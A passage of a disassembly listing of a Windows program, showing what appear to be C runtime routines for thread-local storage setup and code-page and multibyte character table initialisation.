byte_428BBC db 0 ; DATA XREF: sub_427F60+1C6r
db 2 dup(5), 1
dd 5050505h, 2050505h, 5050305h
db 4
off_428BCD dd offset loc_428260 ; DATA XREF: sub_427F60+2EEr
dd offset loc_428299
dd offset loc_428255
dd offset loc_4282A3
dd offset loc_4282AC
byte_428BE1 db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3 ; DATA XREF: sub_427F60+2E8r
off_428C10 dd offset loc_4282EC ; DATA XREF: sub_427F60+385r
dd offset loc_428580
dd offset loc_428410
dd offset loc_4286B9
dd offset loc_42837B
dd offset loc_428301
dd offset loc_42868B
dd offset loc_428590
dd offset loc_428535
dd offset loc_428705
dd offset loc_4286AF
dd offset loc_428426
dd offset loc_4286A3
dd offset loc_4286C5
dd offset loc_428997
byte_428C4C db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh
; DATA XREF: sub_427F60+37Fr
db 4, 8 dup(0Eh), 5, 6, 3 dup(7), 0Eh, 6, 4 dup(0Eh), 8
db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2 dup(0Eh), 0Dh
db 0Eh dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428C90 proc near ; CODE XREF: sub_427F60+F5p
; sub_427F60+14Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, [ebp+arg_4]
cmp dword ptr [eax+4], 0
jl short loc_428CD2
mov ecx, [ebp+arg_4]
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
movsx ecx, byte ptr [ebp+arg_0]
and ecx, 0FFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_428CE5
; ---------------------------------------------------------------------------
loc_428CD2: ; CODE XREF: sub_428C90+1Aj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_427CE0
add esp, 8
mov [ebp+var_4], eax
loc_428CE5: ; CODE XREF: sub_428C90+40j
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_428CF6
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
jmp short loc_428D03
; ---------------------------------------------------------------------------
loc_428CF6: ; CODE XREF: sub_428C90+59j
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_428D03: ; CODE XREF: sub_428C90+64j
mov esp, ebp
pop ebp
retn
sub_428C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428D10 proc near ; CODE XREF: sub_427F60+ACDp
; sub_427F60+B1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
loc_428D13: ; CODE XREF: sub_428D10:loc_428D41j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_428D43
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428C90
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_428D41
jmp short loc_428D43
; ---------------------------------------------------------------------------
loc_428D41: ; CODE XREF: sub_428D10+2Dj
jmp short loc_428D13
; ---------------------------------------------------------------------------
loc_428D43: ; CODE XREF: sub_428D10+11j
; sub_428D10+2Fj
pop ebp
retn
sub_428D10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428D50 proc near ; CODE XREF: sub_427F60+AEBp
; sub_427F60+BC2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
loc_428D54: ; CODE XREF: sub_428D50:loc_428D94j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_428D96
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
call sub_428C90
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_428D94
jmp short loc_428D96
; ---------------------------------------------------------------------------
loc_428D94: ; CODE XREF: sub_428D50+40j
jmp short loc_428D54
; ---------------------------------------------------------------------------
loc_428D96: ; CODE XREF: sub_428D50+12j
; sub_428D50+42j
mov esp, ebp
pop ebp
retn
sub_428D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428DA0 proc near ; CODE XREF: sub_427F60+218p
; sub_427F60+27Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov eax, [ecx-4]
pop ebp
retn
sub_428DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428DC0 proc near ; CODE XREF: sub_427F60+7D5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub ecx, 8
mov eax, [ecx]
mov edx, [ecx+4]
pop ebp
retn
sub_428DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428DE0 proc near ; CODE XREF: sub_427F60+3B2p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ax, [ecx-4]
pop ebp
retn
sub_428DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428E00 proc near ; CODE XREF: _0:loc_422194p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_4231A0
call ds:dword_4F54CC ; TlsAlloc
mov ds:dword_453E04, eax
cmp ds:dword_453E04, 0FFFFFFFFh
jnz short loc_428E21
xor eax, eax
jmp short loc_428E7E
; ---------------------------------------------------------------------------
loc_428E21: ; CODE XREF: sub_428E00+1Bj
push 61h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_41C2D0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_428E54
mov eax, [ebp+var_4]
push eax
mov ecx, ds:dword_453E04
push ecx
call ds:dword_4F54C8 ; TlsSetValue
test eax, eax
jnz short loc_428E58
loc_428E54: ; CODE XREF: sub_428E00+3Dj
xor eax, eax
jmp short loc_428E7E
; ---------------------------------------------------------------------------
loc_428E58: ; CODE XREF: sub_428E00+52j
mov edx, [ebp+var_4]
push edx
call sub_428EC0
add esp, 4
call ds:dword_4F54C4 ; GetCurrentThreadId
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, 1
loc_428E7E: ; CODE XREF: sub_428E00+1Fj
; sub_428E00+56j
mov esp, ebp
pop ebp
retn
sub_428E00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_4231E0
cmp ds:dword_453E04, 0FFFFFFFFh
jz short loc_428EB7
mov eax, ds:dword_453E04
push eax
call ds:dword_4F54D0 ; TlsFree
mov ds:dword_453E04, 0FFFFFFFFh
loc_428EB7: ; CODE XREF: _0:00428E9Fj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428EC0 proc near ; CODE XREF: sub_428E00+5Cp
; sub_428EE0+5Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax+50h], offset dword_454308
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 1
pop ebp
retn
sub_428EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428EE0 proc near ; CODE XREF: sub_41EB60+3p
; sub_41EB70+4p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
mov eax, ds:dword_453E04
push eax
call ds:dword_4F54D8 ; TlsGetValue
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_428F67
push 0E7h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_41C2D0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_428F5D
mov ecx, [ebp+var_4]
push ecx
mov edx, ds:dword_453E04
push edx
call ds:dword_4F54C8 ; TlsSetValue
test eax, eax
jz short loc_428F5D
mov eax, [ebp+var_4]
push eax
call sub_428EC0
add esp, 4
call ds:dword_4F54C4 ; GetCurrentThreadId
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
jmp short loc_428F67
; ---------------------------------------------------------------------------
loc_428F5D: ; CODE XREF: sub_428EE0+43j
; sub_428EE0+58j
push 10h
call sub_422270
add esp, 4
loc_428F67: ; CODE XREF: sub_428EE0+22j
; sub_428EE0+7Bj
mov eax, [ebp+var_8]
push eax
call ds:dword_4F54D4 ; RtlRestoreLastWin32Error
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_428EE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp ds:dword_453E04, 0FFFFFFFFh
jz loc_429085
cmp dword ptr [ebp+8], 0
jnz short loc_428FA5
mov eax, ds:dword_453E04
push eax
call ds:dword_4F54D8 ; TlsGetValue
mov [ebp+8], eax
loc_428FA5: ; CODE XREF: _0:00428F94j
cmp dword ptr [ebp+8], 0
jz loc_429076
mov ecx, [ebp+8]
cmp dword ptr [ecx+24h], 0
jz short loc_428FC9
push 2
mov edx, [ebp+8]
mov eax, [edx+24h]
push eax
call sub_41CA10
add esp, 8
loc_428FC9: ; CODE XREF: _0:00428FB6j
mov ecx, [ebp+8]
cmp dword ptr [ecx+28h], 0
jz short loc_428FE3
push 2
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
call sub_41CA10
add esp, 8
loc_428FE3: ; CODE XREF: _0:00428FD0j
mov ecx, [ebp+8]
cmp dword ptr [ecx+30h], 0
jz short loc_428FFD
push 2
mov edx, [ebp+8]
mov eax, [edx+30h]
push eax
call sub_41CA10
add esp, 8
loc_428FFD: ; CODE XREF: _0:00428FEAj
mov ecx, [ebp+8]
cmp dword ptr [ecx+38h], 0
jz short loc_429017
push 2
mov edx, [ebp+8]
mov eax, [edx+38h]
push eax
call sub_41CA10
add esp, 8
loc_429017: ; CODE XREF: _0:00429004j
mov ecx, [ebp+8]
cmp dword ptr [ecx+40h], 0
jz short loc_429031
push 2
mov edx, [ebp+8]
mov eax, [edx+40h]
push eax
call sub_41CA10
add esp, 8
loc_429031: ; CODE XREF: _0:0042901Ej
mov ecx, [ebp+8]
cmp dword ptr [ecx+44h], 0
jz short loc_42904B
push 2
mov edx, [ebp+8]
mov eax, [edx+44h]
push eax
call sub_41CA10
add esp, 8
loc_42904B: ; CODE XREF: _0:00429038j
mov ecx, [ebp+8]
cmp dword ptr [ecx+50h], offset dword_454308
jz short loc_429068
push 2
mov edx, [ebp+8]
mov eax, [edx+50h]
push eax
call sub_41CA10
add esp, 8
loc_429068: ; CODE XREF: _0:00429055j
push 2
mov ecx, [ebp+8]
push ecx
call sub_41CA10
add esp, 8
loc_429076: ; CODE XREF: _0:00428FA9j
push 0
mov edx, ds:dword_453E04
push edx
call ds:dword_4F54C8 ; TlsSetValue
loc_429085: ; CODE XREF: _0:00428F8Aj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call ds:dword_4F54C4 ; GetCurrentThreadId
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call ds:dword_4F54DC ; GetCurrentThread
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4290B0 proc near ; CODE XREF: sub_429890+Ep
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push 19h
call sub_423280
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_429400
add esp, 4
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
cmp ecx, ds:dword_4F37CC
jnz short loc_4290EB
push 19h
call sub_423320
add esp, 4
xor eax, eax
jmp loc_4293F0
; ---------------------------------------------------------------------------
loc_4290EB: ; CODE XREF: sub_4290B0+28j
cmp [ebp+arg_0], 0
jnz short loc_42910C
call sub_4294E0
call sub_429560
push 19h
call sub_423320
add esp, 4
xor eax, eax
jmp loc_4293F0
; ---------------------------------------------------------------------------
loc_42910C: ; CODE XREF: sub_4290B0+3Fj
mov [ebp+var_4], 0
jmp short loc_42911E
; ---------------------------------------------------------------------------
loc_429115: ; CODE XREF: sub_4290B0:loc_42926Aj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42911E: ; CODE XREF: sub_4290B0+63j
cmp [ebp+var_4], 5
jnb loc_42926F
mov eax, [ebp+var_4]
imul eax, 30h
mov ecx, ds:dword_453E10[eax]
cmp ecx, [ebp+arg_0]
jnz loc_42926A
mov [ebp+var_24], 0
jmp short loc_42914F
; ---------------------------------------------------------------------------
loc_429146: ; CODE XREF: sub_4290B0+B2j
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_42914F: ; CODE XREF: sub_4290B0+94j
cmp [ebp+var_24], 101h
jnb short loc_429164
mov eax, [ebp+var_24]
mov ds:byte_4F38E0[eax], 0
jmp short loc_429146
; ---------------------------------------------------------------------------
loc_429164: ; CODE XREF: sub_4290B0+A6j
mov [ebp+var_C], 0
jmp short loc_429176
; ---------------------------------------------------------------------------
loc_42916D: ; CODE XREF: sub_4290B0:loc_4291F2j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_429176: ; CODE XREF: sub_4290B0+BBj
cmp [ebp+var_C], 4
jnb short loc_4291F7
mov edx, [ebp+var_4]
imul edx, 30h
mov eax, [ebp+var_C]
lea ecx, dword_453E20[edx+eax*8]
mov [ebp+var_8], ecx
jmp short loc_42919A
; ---------------------------------------------------------------------------
loc_429191: ; CODE XREF: sub_4290B0:loc_4291F0j
mov edx, [ebp+var_8]
add edx, 2
mov [ebp+var_8], edx
loc_42919A: ; CODE XREF: sub_4290B0+DFj
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_4291F2
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_4291F2
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_4291C6
; ---------------------------------------------------------------------------
loc_4291BD: ; CODE XREF: sub_4290B0+13Ej
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_4291C6: ; CODE XREF: sub_4290B0+10Bj
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_4291F0
mov eax, [ebp+var_24]
mov ecx, [ebp+var_C]
mov dl, ds:byte_4F38E1[eax]
or dl, ds:byte_453E08[ecx]
mov eax, [ebp+var_24]
mov ds:byte_4F38E1[eax], dl
jmp short loc_4291BD
; ---------------------------------------------------------------------------
loc_4291F0: ; CODE XREF: sub_4290B0+121j
jmp short loc_429191
; ---------------------------------------------------------------------------
loc_4291F2: ; CODE XREF: sub_4290B0+F3j
; sub_4290B0+FFj
jmp loc_42916D
; ---------------------------------------------------------------------------
loc_4291F7: ; CODE XREF: sub_4290B0+CAj
mov ecx, [ebp+arg_0]
mov ds:dword_4F37CC, ecx
mov ds:dword_4F37DC, 1
mov edx, ds:dword_4F37CC
push edx
call sub_429460
add esp, 4
mov ds:dword_4F39E4, eax
mov [ebp+var_C], 0
jmp short loc_429230
; ---------------------------------------------------------------------------
loc_429227: ; CODE XREF: sub_4290B0+1A2j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_429230: ; CODE XREF: sub_4290B0+175j
cmp [ebp+var_C], 6
jnb short loc_429254
mov ecx, [ebp+var_4]
imul ecx, 30h
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov cx, ds:word_453E14[ecx+eax*2]
mov ds:word_4F37D0[edx*2], cx
jmp short loc_429227
; ---------------------------------------------------------------------------
loc_429254: ; CODE XREF: sub_4290B0+184j
call sub_429560
push 19h
call sub_423320
add esp, 4
xor eax, eax
jmp loc_4293F0
; ---------------------------------------------------------------------------
loc_42926A: ; CODE XREF: sub_4290B0+87j
jmp loc_429115
; ---------------------------------------------------------------------------
loc_42926F: ; CODE XREF: sub_4290B0+72j
lea edx, [ebp+var_20]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F54E0 ; GetCPInfo
cmp eax, 1
jnz loc_4293C2
mov [ebp+var_24], 0
jmp short loc_429298
; ---------------------------------------------------------------------------
loc_42928F: ; CODE XREF: sub_4290B0+1FBj
mov ecx, [ebp+var_24]
add ecx, 1
mov [ebp+var_24], ecx
loc_429298: ; CODE XREF: sub_4290B0+1DDj
cmp [ebp+var_24], 101h
jnb short loc_4292AD
mov edx, [ebp+var_24]
mov ds:byte_4F38E0[edx], 0
jmp short loc_42928F
; ---------------------------------------------------------------------------
loc_4292AD: ; CODE XREF: sub_4290B0+1EFj
mov eax, [ebp+arg_0]
mov ds:dword_4F37CC, eax
mov ds:dword_4F39E4, 0
cmp [ebp+var_20], 1
jbe loc_42937E
lea ecx, [ebp+var_1A]
mov [ebp+var_28], ecx
jmp short loc_4292DA
; ---------------------------------------------------------------------------
loc_4292D1: ; CODE XREF: sub_4290B0:loc_42932Aj
mov edx, [ebp+var_28]
add edx, 2
mov [ebp+var_28], edx
loc_4292DA: ; CODE XREF: sub_4290B0+21Fj
mov eax, [ebp+var_28]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42932C
mov edx, [ebp+var_28]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_42932C
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_429306
; ---------------------------------------------------------------------------
loc_4292FD: ; CODE XREF: sub_4290B0+278j
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_429306: ; CODE XREF: sub_4290B0+24Bj
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_42932A
mov eax, [ebp+var_24]
mov cl, ds:byte_4F38E1[eax]
or cl, 4
mov edx, [ebp+var_24]
mov ds:byte_4F38E1[edx], cl
jmp short loc_4292FD
; ---------------------------------------------------------------------------
loc_42932A: ; CODE XREF: sub_4290B0+261j
jmp short loc_4292D1
; ---------------------------------------------------------------------------
loc_42932C: ; CODE XREF: sub_4290B0+233j
; sub_4290B0+23Fj
mov [ebp+var_24], 1
jmp short loc_42933E
; ---------------------------------------------------------------------------
loc_429335: ; CODE XREF: sub_4290B0+2ACj
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_42933E: ; CODE XREF: sub_4290B0+283j
cmp [ebp+var_24], 0FFh
jnb short loc_42935E
mov ecx, [ebp+var_24]
mov dl, ds:byte_4F38E1[ecx]
or dl, 8
mov eax, [ebp+var_24]
mov ds:byte_4F38E1[eax], dl
jmp short loc_429335
; ---------------------------------------------------------------------------
loc_42935E: ; CODE XREF: sub_4290B0+295j
mov ecx, ds:dword_4F37CC
push ecx
call sub_429460
add esp, 4
mov ds:dword_4F39E4, eax
mov ds:dword_4F37DC, 1
jmp short loc_429388
; ---------------------------------------------------------------------------
loc_42937E: ; CODE XREF: sub_4290B0+213j
mov ds:dword_4F37DC, 0
loc_429388: ; CODE XREF: sub_4290B0+2CCj
mov [ebp+var_C], 0
jmp short loc_42939A
; ---------------------------------------------------------------------------
loc_429391: ; CODE XREF: sub_4290B0+2FDj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_42939A: ; CODE XREF: sub_4290B0+2DFj
cmp [ebp+var_C], 6
jnb short loc_4293AF
mov eax, [ebp+var_C]
mov ds:word_4F37D0[eax*2], 0
jmp short loc_429391
; ---------------------------------------------------------------------------
loc_4293AF: ; CODE XREF: sub_4290B0+2EEj
call sub_429560
push 19h
call sub_423320
add esp, 4
xor eax, eax
jmp short loc_4293F0
; ---------------------------------------------------------------------------
loc_4293C2: ; CODE XREF: sub_4290B0+1D0j
cmp ds:dword_4F33E4, 0
jz short loc_4293E3
call sub_4294E0
call sub_429560
push 19h
call sub_423320
add esp, 4
xor eax, eax
jmp short loc_4293F0
; ---------------------------------------------------------------------------
loc_4293E3: ; CODE XREF: sub_4290B0+319j
push 19h
call sub_423320
add esp, 4
or eax, 0FFFFFFFFh
loc_4293F0: ; CODE XREF: sub_4290B0+36j
; sub_4290B0+57j ...
mov esp, ebp
pop ebp
retn
sub_4290B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429400 proc near ; CODE XREF: sub_4290B0+14p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov ds:dword_4F33E4, 0
cmp [ebp+arg_0], 0FFFFFFFEh
jnz short loc_429425
mov ds:dword_4F33E4, 1
call ds:dword_4F54E8 ; GetOEMCP
jmp short loc_429457
; ---------------------------------------------------------------------------
loc_429425: ; CODE XREF: sub_429400+11j
cmp [ebp+arg_0], 0FFFFFFFDh
jnz short loc_42943D
mov ds:dword_4F33E4, 1
call ds:dword_4F54E4 ; GetACP
jmp short loc_429457
; ---------------------------------------------------------------------------
loc_42943D: ; CODE XREF: sub_429400+29j
cmp [ebp+arg_0], 0FFFFFFFCh
jnz short loc_429454
mov ds:dword_4F33E4, 1
mov eax, ds:dword_4F3408
jmp short loc_429457
; ---------------------------------------------------------------------------
loc_429454: ; CODE XREF: sub_429400+41j
mov eax, [ebp+arg_0]
loc_429457: ; CODE XREF: sub_429400+23j
; sub_429400+3Bj ...
pop ebp
retn
sub_429400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429460 proc near ; CODE XREF: sub_4290B0+161p
; sub_4290B0+2B5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
sub ecx, 3A4h
mov [ebp+var_4], ecx
cmp [ebp+var_4], 12h
ja short loc_4294AA
mov eax, [ebp+var_4]
xor edx, edx
mov dl, byte_4294C4[eax]
jmp off_4294B0[edx*4]
loc_42948E: ; DATA XREF: _0:off_4294B0o
mov eax, 411h
jmp short loc_4294AC
; ---------------------------------------------------------------------------
loc_429495: ; CODE XREF: sub_429460+27j
; DATA XREF: _0:004294B4o
mov eax, 804h
jmp short loc_4294AC
; ---------------------------------------------------------------------------
loc_42949C: ; CODE XREF: sub_429460+27j
; DATA XREF: _0:004294B8o
mov eax, 412h
jmp short loc_4294AC
; ---------------------------------------------------------------------------
loc_4294A3: ; CODE XREF: sub_429460+27j
; DATA XREF: _0:004294BCo
mov eax, 404h
jmp short loc_4294AC
; ---------------------------------------------------------------------------
loc_4294AA: ; CODE XREF: sub_429460+1Aj
; sub_429460+27j
; DATA XREF: ...
xor eax, eax
loc_4294AC: ; CODE XREF: sub_429460+33j
; sub_429460+3Aj ...
mov esp, ebp
pop ebp
retn
sub_429460 endp
; ---------------------------------------------------------------------------
off_4294B0 dd offset loc_42948E ; DATA XREF: sub_429460+27r
dd offset loc_429495
dd offset loc_42949C
dd offset loc_4294A3
dd offset loc_4294AA
byte_4294C4 db 0 ; DATA XREF: sub_429460+21r
db 3 dup(4)
dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4294E0 proc near ; CODE XREF: sub_4290B0+41p
; sub_4290B0+31Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_4294F6
; ---------------------------------------------------------------------------
loc_4294ED: ; CODE XREF: sub_4294E0+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4294F6: ; CODE XREF: sub_4294E0+Bj
cmp [ebp+var_4], 101h
jge short loc_42950B
mov ecx, [ebp+var_4]
mov ds:byte_4F38E0[ecx], 0
jmp short loc_4294ED
; ---------------------------------------------------------------------------
loc_42950B: ; CODE XREF: sub_4294E0+1Dj
mov ds:dword_4F37CC, 0
mov ds:dword_4F37DC, 0
mov ds:dword_4F39E4, 0
mov [ebp+var_4], 0
jmp short loc_42953B
; ---------------------------------------------------------------------------
loc_429532: ; CODE XREF: sub_4294E0+6Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42953B: ; CODE XREF: sub_4294E0+50j
cmp [ebp+var_4], 6
jge short loc_429550
mov eax, [ebp+var_4]
mov ds:word_4F37D0[eax*2], 0
jmp short loc_429532
; ---------------------------------------------------------------------------
loc_429550: ; CODE XREF: sub_4294E0+5Fj
mov esp, ebp
pop ebp
retn
sub_4294E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429560 proc near ; CODE XREF: sub_4290B0+46p
; sub_4290B0:loc_429254p ...
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_418 = byte ptr -418h
var_318 = byte ptr -318h
var_312 = byte ptr -312h
var_304 = byte ptr -304h
var_204 = word ptr -204h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 51Ch
lea eax, [ebp+var_318]
push eax
mov ecx, ds:dword_4F37CC
push ecx
call ds:dword_4F54E0 ; GetCPInfo
cmp eax, 1
jnz loc_429799
mov [ebp+var_51C], 0
jmp short loc_4295A1
; ---------------------------------------------------------------------------
loc_429592: ; CODE XREF: sub_429560+60j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_4295A1: ; CODE XREF: sub_429560+30j
cmp [ebp+var_51C], 100h
jnb short loc_4295C2
mov eax, [ebp+var_51C]
mov cl, byte ptr [ebp+var_51C]
mov [ebp+eax+var_304], cl
jmp short loc_429592
; ---------------------------------------------------------------------------
loc_4295C2: ; CODE XREF: sub_429560+4Bj
mov [ebp+var_304], 20h
lea edx, [ebp+var_312]
mov [ebp+var_4], edx
jmp short loc_4295DD
; ---------------------------------------------------------------------------
loc_4295D4: ; CODE XREF: sub_429560:loc_429626j
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
loc_4295DD: ; CODE XREF: sub_429560+72j
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_429628
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_51C], ecx
jmp short loc_429606
; ---------------------------------------------------------------------------
loc_4295F7: ; CODE XREF: sub_429560+C4j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_429606: ; CODE XREF: sub_429560+95j
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_51C], ecx
ja short loc_429626
mov edx, [ebp+var_51C]
mov [ebp+edx+var_304], 20h
jmp short loc_4295F7
; ---------------------------------------------------------------------------
loc_429626: ; CODE XREF: sub_429560+B4j
jmp short loc_4295D4
; ---------------------------------------------------------------------------
loc_429628: ; CODE XREF: sub_429560+86j
push 0
mov eax, ds:dword_4F39E4
push eax
mov ecx, ds:dword_4F37CC
push ecx
lea edx, [ebp+var_204]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 1
call sub_431210
add esp, 1Ch
push 0
mov ecx, ds:dword_4F37CC
push ecx
push 100h
lea edx, [ebp+var_418]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 100h
mov ecx, ds:dword_4F39E4
push ecx
call sub_42EC50
add esp, 20h
push 0
mov edx, ds:dword_4F37CC
push edx
push 100h
lea eax, [ebp+var_518]
push eax
push 100h
lea ecx, [ebp+var_304]
push ecx
push 200h
